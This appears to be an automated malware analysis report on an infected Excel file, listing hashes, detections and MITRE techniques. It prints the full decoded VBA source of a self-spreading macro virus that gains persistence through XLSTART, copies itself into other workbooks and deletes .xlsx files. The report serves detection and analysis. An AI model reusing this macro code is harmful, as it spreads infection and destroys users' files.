Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4376c7efacae78bf…

MALICIOUS

Office (OLE)

117.5 KB Created: 2020-03-26 04:55:53 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: c89579e39ca77db5f0da7b025afbbf48 SHA-1: 16b36a72c8288b9da6d8d512c25d399fa0f4b4e0 SHA-256: 4376c7efacae78bf97d3286fe7de5d5b9640e55f4d992c3e2115afa724485bb9
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros, specifically an Auto_Open macro designed to execute upon opening. This macro attempts to copy itself to the XLSTART directory as 'mypersonnel.xls', thereby establishing persistence. The Auto_Close macro is also present, suggesting further malicious activity upon workbook closure. The ClamAV detection and heuristic firings confirm its malicious nature.

Heuristics 4

  • ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1816 bytes
SHA-256: 0e027d7c75d49f79cc7aa4389acfebf7b55f41d2ad86258589318b07847f19ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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